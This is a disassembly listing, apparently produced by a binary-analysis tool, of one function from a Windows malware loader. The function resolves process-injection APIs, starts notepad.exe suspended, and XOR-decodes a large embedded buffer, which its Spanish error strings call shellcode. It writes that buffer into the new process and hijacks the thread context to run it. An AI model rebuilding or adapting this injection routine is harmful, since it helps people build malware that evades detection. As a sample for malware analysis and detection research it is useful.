Function at 0x1400014b0
Capabilities:
Encode data using xor
Link many functions at runtime
Terminate process

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x4f8]
sub rsp, 0x5f8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
lea rcx, str.Kernel32.dll
mov r14, r9
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001548
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.CreateProcessA
mov qword [rsp + 0x5e0], r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x1400015a5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.CreateProcessA
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400015f4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.GetThreadContext
mov qword [rsp + 0x618], rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x140001651
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.GetThreadContext
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400016a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.VirtualAllocEx
mov qword [rsp + 0x5f0], r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
jne 0x1400016fd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.VirtualAllocEx
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x14000174c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.WriteProcessMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x1400017a3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.WriteProcessMemory
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400017f2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.VirtualProtectEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140001849
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.VirtualProtectEx
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001898
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.SetThreadContext
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x1400018ef
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.SetThreadContext
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x14000193e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.ResumeThread
mov qword [rsp + 0x5e8], r13
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test rax, rax
jne 0x14000199b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.ResumeThread
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400019ea
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x140004540]
mov qword [rsp + 0x620], rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x140001a47
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, [0x140004540]
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001a96
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_cargar_el_m
call fcn.140001f50
mov rcx, rax
lea rdx, str.Kernel32.dll
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.CloseHandle
mov qword [rsp + 0x610], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x140001af3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_obtener_la_direcci
call fcn.140001f50
mov rcx, rax
lea rdx, str.CloseHandle
call fcn.140001f50
mov rcx, rax
lea rdx, [0x1400043a0]
call fcn.140001f50
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], eax
call r15
test eax, eax
jne 0x140001b4e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_crear_el_proceso_objetivo._n
call fcn.140001f50
xor al, al
jmp 0x140001ccf
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp]
mov dword [rbp + 0x30], 0x10000b
call rsi
test eax, eax
jne 0x140001b70
lea rdx, str.Error_al_obtener_el_contexto_del_hilo._n
jmp 0x140001c95
mov rcx, qword [rsp + 0x68]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0xf58256
call r12
mov rsi, rax
test rax, rax
jne 0x140001ba2
lea rdx, str.Error_al_reservar_memoria_en_el_proceso_objetivo._n
jmp 0x140001c95
xor r10d, r10d
lea r15, [0x140006080]
mov r11d, 1
sub r11, r15
nop word [rax + rax]
mov r8, qword [r14]
lea r9, [r10 + r15]
mov rcx, qword [r14 + 8]
xor edx, edx
sub rcx, r8
mov rax, r10
div rcx
add r10, 2
movzx eax, byte [rdx + r8]
xor edx, edx
xor byte [r9], al
lea rax, [r9 + r11]
mov r8, qword [r14]
mov rcx, qword [r14 + 8]
sub rcx, r8
div rcx
movzx eax, byte [rdx + r8]
xor byte [r9 + 1], al
cmp r10, 0xf58256
jb 0x140001bc0
mov rcx, qword [rsp + 0x68]
mov r9d, 0xf58256
mov r8, r15
mov qword [rsp + 0x20], 0
mov rdx, rsi
call qword [rsp + 0x50]
test eax, eax
jne 0x140001c32
lea rdx, str.Error_al_escribir_el_shellcode_en_la_memoria_del_proceso_objetivo._n
jmp 0x140001c95
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x80]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov r8d, 0xf58256
mov rdx, rsi
call qword [rsp + 0x58]
test eax, eax
jne 0x140001c60
lea rdx, str.Error_al_cambiar_la_protecci
jmp 0x140001c95
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp]
mov qword [rbp + 0x80], rsi
call qword [rsp + 0x60]
test eax, eax
jne 0x140001c81
lea rdx, str.Error_al_establecer_el_contexto_del_hilo._n
jmp 0x140001c95
mov rcx, qword [rsp + 0x70]
call r13
cmp eax, 0xffffffff
jne 0x140001cbf
lea rdx, str.Error_al_reanudar_el_proceso_objetivo._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f50
mov rcx, qword [rsp + 0x68]
mov edx, 1
call rdi
mov rcx, qword [rsp + 0x70]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
xor al, al
jmp 0x140001ccf
mov rcx, qword [rsp + 0x70]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
mov al, 1
mov rbx, qword [rsp + 0x610]
mov rdi, qword [rsp + 0x620]
mov r13, qword [rsp + 0x5e8]
mov r12, qword [rsp + 0x5f0]
mov rsi, qword [rsp + 0x618]
mov r15, qword [rsp + 0x5e0]
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.1400021b0
add rsp, 0x5f8
pop r14
pop rbp
ret